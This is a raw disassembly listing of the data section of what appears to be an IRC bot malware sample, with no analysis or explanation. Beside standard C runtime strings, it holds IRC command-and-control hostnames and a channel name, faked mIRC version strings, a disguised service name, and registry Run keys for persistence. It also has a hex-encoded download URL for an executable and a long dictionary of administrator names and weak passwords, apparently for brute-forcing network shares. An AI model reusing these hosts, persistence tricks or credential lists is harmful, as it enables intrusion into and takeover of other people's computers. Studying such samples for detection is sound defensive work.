flt_4276F0	dd 0.0			; DATA XREF: sub_41AA1E+171r
flt_4276F4	dd 1.0e-3		; DATA XREF: sub_41AA1E+168r
dbl_4276F8	dq 1.0			; DATA XREF: sub_41D055+6Cr
					; sub_41D19B+6Cr ...
dword_427700	dd 0FFFFFFFFh, 41E2AAh,	41E2BEh	; DATA XREF: sub_41E1D3+5o
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41E52A+8Eo
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41E52A+4Fo
		align 4
byte_42773C	db 6			; DATA XREF: sub_41FF3F:loc_41FF96r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .packed:off_43D0A4o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: .packed:off_43D0A0o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .packed:off_43D31Co
dbl_427860	dq 0.0			; DATA XREF: sub_421BFF+8Cr
					; sub_421BFF+ACr ...
dbl_427868	dq 4.195835e6		; DATA XREF: sub_422114+Fr
dbl_427870	dq 3.145727e6		; DATA XREF: sub_422114+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_422152o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_422279+93o
		align 4
dword_4278A8	dd 0FFFFFFFFh, 422964h,	42296Eh, 0 ; DATA XREF:	sub_4228FD+5o
dword_4278B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422A2C+5o
		dd offset loc_422AEA
		align 8
		dd offset sub_422AC8
		dd offset sub_422AD2
dword_4278D0	dd 0FFFFFFFFh, 422D1Ah,	422D1Eh, 0 ; DATA XREF:	sub_422B62+5o
dword_4278E0	dd 0FFFFFFFFh, 422D7Ch,	422D85h, 0 ; DATA XREF:	sub_422D26+5o
dword_4278F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422DFC+5o
		dd offset loc_422E4D
		align 10h
		dd offset loc_422E39
		dd offset loc_422E3D
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422E52+5o
		dd offset loc_422EA3
		align 8
		dd offset loc_422E8F
		dd offset loc_422E93
dword_427920	dd 2 dup(0)		; DATA XREF: sub_4232A8+36o
					; sub_4244F4+39o ...
dword_427928	dd 0FFFFFFFFh, 4233B8h,	4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
					; DATA XREF: sub_4232A8+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .packed:off_43D4ECo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
		align 10h
asc_427BF0	db 0Ah			; DATA XREF: sub_423DD1+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
		align 10h
dword_427C30	dd 0FFFFFFFFh, 4245EDh,	4245F1h	; DATA XREF: sub_4244F4+5o
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_425029+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_425029+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_425973:loc_425A68o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_425973+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_425973+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_425973+ADo
		align 4
		dd offset dword_427DAC
off_427C90	dd offset loc_4260E2	; DATA XREF: sub_4260BA+8o
					; sub_4260FE+2Co ...
		dd offset sub_4260D5
		dd offset sub_4262F6
		dd offset dword_427DF8
off_427CA0	dd offset sub_42614C	; DATA XREF: sub_4260FE+3Ao
					; sub_426168o ...
		dd offset sub_4260D5
		dd offset loc_426332
dword_427CAC	dd 0			; DATA XREF: sub_4260FE+16o
					; sub_4261D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426173+11o
		dd offset dword_427E44
off_427CCC	dd offset sub_42625B	; DATA XREF: sub_426277o
					; sub_42629A+37o ...
		dd offset sub_4260D5
		dd offset loc_426314
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42629A+11o
		dd offset dword_427E88
off_427CEC	dd offset loc_4264A5	; DATA XREF: sub_426490o
					; .packed:off_43DAF4o ...
		dd offset dword_427EB8
off_427CF4	dd offset loc_4264C1	; DATA XREF: sub_4264DD+8o
					; sub_42651A+8o ...
		dd offset sub_42657A
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
		align 10h
dword_427D10	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_426587+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427D30	dd 0FFFFFFFFh, 426738h,	42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
					; DATA XREF: sub_426636+5o
dword_427D48	dd 0FFFFFFFFh, 4269ADh,	4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
					; DATA XREF: sub_4268C1+5o
		dd 43DAF4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427D78	dd offset off_43DB0C	; DATA XREF: .packed:00427D90o
					; .packed:00427DDCo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427D98	dd 3 dup(0)		; DATA XREF: .packed:00427DBCo
		dd 2, 427D90h
dword_427DAC	dd 3 dup(0)		; DATA XREF: .packed:00427C8Co
		dd offset off_43DB0C
		dd offset dword_427D98+4
off_427DC0	dd offset off_43DB2C	; DATA XREF: .packed:00427DD8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DC0
		dd offset off_427D78
		dd offset dword_427D48+18h
		dd 0
		db    0			; DATA XREF: .packed:00427E08o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427DD8h
dword_427DF8	dd 3 dup(0)		; DATA XREF: .packed:00427C9Co
		dd offset off_43DB2C
		dd offset unk_427DE8
off_427E0C	dd offset off_43DB4C	; DATA XREF: .packed:00427E24o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E0C
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427E30	dd 3 dup(0)		; DATA XREF: .packed:00427E54o
		dd 3, 427E24h
dword_427E44	dd 3 dup(0)		; DATA XREF: .packed:00427CC8o
		dd offset off_43DB4C
		dd offset dword_427E30+4
off_427E58	dd offset off_43DB70	; DATA XREF: .packed:00427E70o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E58
		dd 0
		db    0			; DATA XREF: .packed:00427E98o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427E70h
dword_427E88	dd 3 dup(0)		; DATA XREF: .packed:00427CE8o
		dd offset off_43DB70
		dd offset unk_427E78
		dd offset dword_427D48+18h
dword_427EA0	dd 4 dup(0)		; DATA XREF: .packed:00427EC8o
		dd 1, 427E9Ch
dword_427EB8	dd 3 dup(0)		; DATA XREF: .packed:00427CF0o
		dd offset off_43DAF4
		dd offset dword_427EA0+8
		align 10h
dword_427ED0	dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF:	.packed:loc_426AA7o
		dd 0FFFFFFFFh, 426A90h,	0
		dd offset sub_426A88
dword_427F00	dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF:	.packed:loc_426AC4o
		dd 0FFFFFFFFh, 426AB4h,	0
		dd offset loc_426ABC
dword_427F30	dd 19930520h, 2, 427F50h, 1, 427F60h, 3	dup(0)
					; DATA XREF: .packed:loc_426AD0o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427F78h, 4	dup(0)
		dd offset loc_40DA8E
		dd 0FFFFFFFFh, 426ADAh
dword_427F90	dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF:	.packed:loc_426AE2o
		dd offset off_43DAF4
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42651Ah, 0
		dd offset off_43DB0C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426218h, 0
		dd offset off_43DB2C
		align 10h
		dd 0FFFFFFFFh, 0
dword_427FF8	dd 1Ch,	426282h, 3, 427FE4h, 427FC8h, 427FACh ;	DATA XREF: .packed:0042801Co
dword_428010	dd 0			; DATA XREF: sub_426173+2Eo
					; sub_4262F6+4Bo
		dd offset sub_426168
		dd 0
		dd offset dword_427FF8+8
		dd 0FFFFFFFFh, 426AECh
dword_428028	dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF:	.packed:loc_426AF4o
		dd 0FFFFFFFFh, 426AFEh
dword_42804C	dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF:	.packed:loc_426B06o
		dd 0FFFFFFFFh, 426B10h
dword_428070	dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF:	.packed:loc_426B18o
		dd offset off_43DB4C
		align 8
		dd 0FFFFFFFFh, 0
dword_4280A0	dd 1Ch,	4262DEh, 3, 42808Ch, 427FC8h, 427FACh ;	DATA XREF: .packed:004280C4o
dword_4280B8	dd 0			; DATA XREF: sub_42629A+2Eo
					; sub_4262F6+2Do
		dd offset sub_426277
		dd 0
		dd offset dword_4280A0+8
		dd 0FFFFFFFFh, 426B22h
dword_4280D0	dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF:	.packed:loc_426B2Ao
dword_4280EC	dd 2, 427FC8h, 427FACh	; DATA XREF: .packed:00428104o
dword_4280F8	dd 0			; DATA XREF: sub_4262F6+Fo
		dd offset sub_4260BA
		dd 0
		dd offset dword_4280EC
		dd 28308h, 2 dup(0)
		dd 2836Eh, 271C4h, 28144h, 2 dup(0)
		dd 28B82h, 27000h, 92h dup(0)
		dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000	dd 0			; DATA XREF: sub_41C164+1Fo
		dd offset loc_401205
		dd offset sub_40DB3C
		dd offset sub_40F0EC
dword_429010	dd 0			; DATA XREF: sub_41C164+1Ao
dword_429014	dd 0			; DATA XREF: sub_41C164+10o
		dd offset sub_41DA32
		dd offset sub_420B0D
		dd offset sub_42413E
		dd offset sub_424F62
dword_429028	dd 0			; DATA XREF: sub_41C164:loc_41C16Fo
dword_42902C	dd 0			; DATA XREF: sub_41C1B3+65o
		dd offset sub_4241E3
dword_429034	dd 0			; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038	dd 0			; DATA XREF: sub_41C1B3+76o
		dd offset sub_424F73
dword_429040	dd 4 dup(0)		; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050	dd 80000002h, 429178h, 80000002h, 4291A8h, 80000001h, 429178h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: sub_401221+4A4r
					; sub_401221+539r
dword_429070	dd 0C8Bh		; DATA XREF: sub_401221+585r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078	dd 45h			; DATA XREF: sub_401ACD+202Er
					; sub_40BD91+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403BE9r
					; sub_40BD91:loc_40C182r
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403D75r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_4046FBr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+643r
dword_42908C	dd 1			; DATA XREF: sub_401221+13Dr
dword_429090	dd 1			; DATA XREF: sub_401221:loc_401562r
					; sub_4188A6+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A76r
					; sub_401ACD+B30r ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40AAAC+3Ar
					; sub_40AAAC+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aScortiser	db 'scortiser',0        ; DATA XREF: sub_401221+5Do
					; sub_401ACD:loc_40445Do ...
		align 10h
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404902o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7BCBo
					; sub_401ACD+7C9Ao
		align 4
aSaber4_ircqfor	db 'saber4.ircqforum.com',0 ; DATA XREF: sub_401221+490o
					; sub_401221+52Ao
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: sub_401221+4B0o
					; sub_401221+540o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: sub_401221+4C7o
					; sub_401221+552o
		align 4
byte_4290EC	db 73h			; DATA XREF: sub_401221:loc_401789r
					; sub_401221+576o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 10h
aFaak_0		db '#FAAK#',0           ; DATA XREF: sub_401221+58Co
		align 4
aSaad__0	db 'saad.',0            ; DATA XREF: sub_401221+59Eo
		align 10h
byte_429110	db 73h			; DATA XREF: sub_401221+143o
					; sub_401221+167w ...
		db 65h,	6Eh, 70h
		dd 706F6268h, 78652E66h, 65h, 6E6E6977h, 61622E74h, 74h
aWindowsSercesA	db 'Windows Serces Agnt',0 ; DATA XREF: sub_401000+Eo
asc_429140:				; DATA XREF: .packed:0040AB2Bo
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 10h
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7D1Do
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1E91o
					; sub_401ACD+1EA2o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+72B4o
					; sub_401ACD+730Co
		align 10h
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40EAo
					; sub_401ACD+423Ao
		align 4
off_429164	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4096EBo
					; "*@admin.com"
off_429168	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
					; sub_401ACD+7C3Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
					; sub_41A6EA+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
					; sub_41A6EA+D4o
		align 10h
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 429940h, 429930h, 429920h,	429914h
		dd 42990Ch, 429904h, 4298FCh, 4298F4h, 4298E8h,	4298E0h
		dd 4298D8h, 4298D0h, 4298C4h, 4298BCh, 4298B4h,	4298A8h
		dd 4298A4h, 42989Ch, 429898h, 0
		dd offset byte_43DB98
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass_0	; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
dword_4294D4	dd 10h			; DATA XREF: sub_401ACD+AE0r
					; sub_401ACD+B0Cr ...
aIntranet	db 'intranet',0         ; DATA XREF: .packed:004294C0o
		align 4
aLan		db 'lan',0              ; DATA XREF: .packed:004294B8o
aMain		db 'main',0             ; DATA XREF: .packed:004294B4o
		align 10h
aWinpass	db 'winpass',0          ; DATA XREF: .packed:004294B0o
aBlank		db 'blank',0            ; DATA XREF: .packed:004294ACo
		align 10h
aOffice		db 'office',0           ; DATA XREF: .packed:004294A8o
		align 4
aControl	db 'control',0          ; DATA XREF: .packed:004294A4o
aXp		db 'xp',0               ; DATA XREF: .packed:004294A0o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: .packed:0042949Co
		align 4
aHp		db 'hp',0               ; DATA XREF: .packed:00429498o
		align 10h
aSiemens	db 'siemens',0          ; DATA XREF: .packed:00429494o
aCompaq		db 'compaq',0           ; DATA XREF: .packed:00429490o
		align 10h
aDell		db 'dell',0             ; DATA XREF: .packed:0042948Co
		align 4
aCisco		db 'cisco',0            ; DATA XREF: .packed:00429488o
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: .packed:00429484o
aOrainstall	db 'orainstall',0       ; DATA XREF: .packed:0042947Co
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .packed:00429478o
		align 4
aSql		db 'sql',0              ; DATA XREF: .packed:00429474o
aSa		db 'sa',0               ; DATA XREF: .packed:00429470o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: .packed:0042946Co
		align 4
aDb1		db 'db1',0              ; DATA XREF: .packed:00429464o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .packed:00429460o
		align 4
aData		db 'data',0             ; DATA XREF: .packed:0042945Co
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .packed:00429458o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: .packed:00429454o
		align 10h
aDbpass		db 'dbpass',0           ; DATA XREF: .packed:00429450o
		align 4
aAccess		db 'access',0           ; DATA XREF: .packed:0042944Co
		align 10h
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .packed:00429444o
		align 10h
aDomainpass	db 'domainpass',0       ; DATA XREF: .packed:00429440o
		align 4
aDomain		db 'domain',0           ; DATA XREF: .packed:0042943Co
		align 4
aHello		db 'hello',0            ; DATA XREF: .packed:00429438o
		align 4
aHell		db 'hell',0             ; DATA XREF: .packed:00429434o
		align 4
aGod		db 'god',0              ; DATA XREF: .packed:00429430o
aSex		db 'sex',0              ; DATA XREF: .packed:0042942Co
aSlut		db 'slut',0             ; DATA XREF: .packed:00429428o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .packed:00429424o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .packed:00429420o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: .packed:0042941Co
		align 10h
aBackup		db 'backup',0           ; DATA XREF: .packed:00429418o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: .packed:00429414o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: .packed:00429410o
		align 10h
aLogin		db 'login',0            ; DATA XREF: .packed:0042940Co
		align 4
aMary		db 'mary',0             ; DATA XREF: .packed:00429408o
		align 10h
aKatie		db 'katie',0            ; DATA XREF: .packed:00429404o
		align 4
aKate		db 'kate',0             ; DATA XREF: .packed:004293FCo
		align 10h
aGeorge		db 'george',0           ; DATA XREF: .packed:004293F8o
		align 4
aEric		db 'eric',0             ; DATA XREF: .packed:004293F4o
		align 10h
aChris		db 'chris',0            ; DATA XREF: .packed:004293F0o
		align 4
aIan		db 'ian',0              ; DATA XREF: .packed:004293ECo
aNeil		db 'neil',0             ; DATA XREF: .packed:004293E8o
		align 4
aLee		db 'lee',0              ; DATA XREF: .packed:004293E4o
aBrian		db 'brian',0            ; DATA XREF: .packed:004293E0o
		align 10h
aSusan		db 'susan',0            ; DATA XREF: .packed:004293D8o
		align 4
aSue		db 'sue',0              ; DATA XREF: .packed:004293D4o
aSam		db 'sam',0              ; DATA XREF: .packed:004293D0o
aLuke		db 'luke',0             ; DATA XREF: .packed:004293CCo
		align 4
aPeter		db 'peter',0            ; DATA XREF: .packed:004293C8o
					; .packed:004293DCo
		align 10h
aJohn		db 'john',0             ; DATA XREF: .packed:004293C4o
		align 4
aMike		db 'mike',0             ; DATA XREF: .packed:004293C0o
		align 10h
aBill		db 'bill',0             ; DATA XREF: .packed:004293BCo
		align 4
aFred		db 'fred',0             ; DATA XREF: .packed:004293B8o
		align 10h
aJoe		db 'joe',0              ; DATA XREF: .packed:004293B4o
aJen		db 'jen',0              ; DATA XREF: .packed:004293B0o
aBob		db 'bob',0              ; DATA XREF: .packed:004293ACo
					; .packed:00429400o
aQwe		db 'qwe',0              ; DATA XREF: .packed:004293A8o
aZxc		db 'zxc',0              ; DATA XREF: .packed:004293A4o
aAsd		db 'asd',0              ; DATA XREF: .packed:004293A0o
aQaz		db 'qaz',0              ; DATA XREF: .packed:0042939Co
aWin2000	db 'win2000',0          ; DATA XREF: .packed:00429398o
aWinnt		db 'winnt',0            ; DATA XREF: .packed:00429394o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: .packed:00429390o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .packed:0042938Co
		align 4
aWin98		db 'win98',0            ; DATA XREF: .packed:00429388o
		align 4
aWindows	db 'windows',0          ; DATA XREF: .packed:00429384o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .packed:00429380o
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: .packed:0042937Co
aOem		db 'oem',0              ; DATA XREF: .packed:00429378o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+45CFo
					; .packed:00429374o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .packed:00429370o
		align 4
aHome		db 'home',0             ; DATA XREF: .packed:0042936Co
		align 10h
aAccounting	db 'accounting',0       ; DATA XREF: .packed:00429368o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .packed:00429364o
		align 4
aInternet	db 'internet',0         ; DATA XREF: .packed:00429360o
					; .packed:004294BCo
		align 4
aWww		db 'www',0              ; DATA XREF: .packed:0042935Co
aWeb		db 'web',0              ; DATA XREF: sub_401ACD+7283o
					; .packed:00429358o
aOutlook	db 'outlook',0          ; DATA XREF: .packed:00429354o
aMail		db 'mail',0             ; DATA XREF: .packed:00429350o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .packed:0042934Co
		align 4
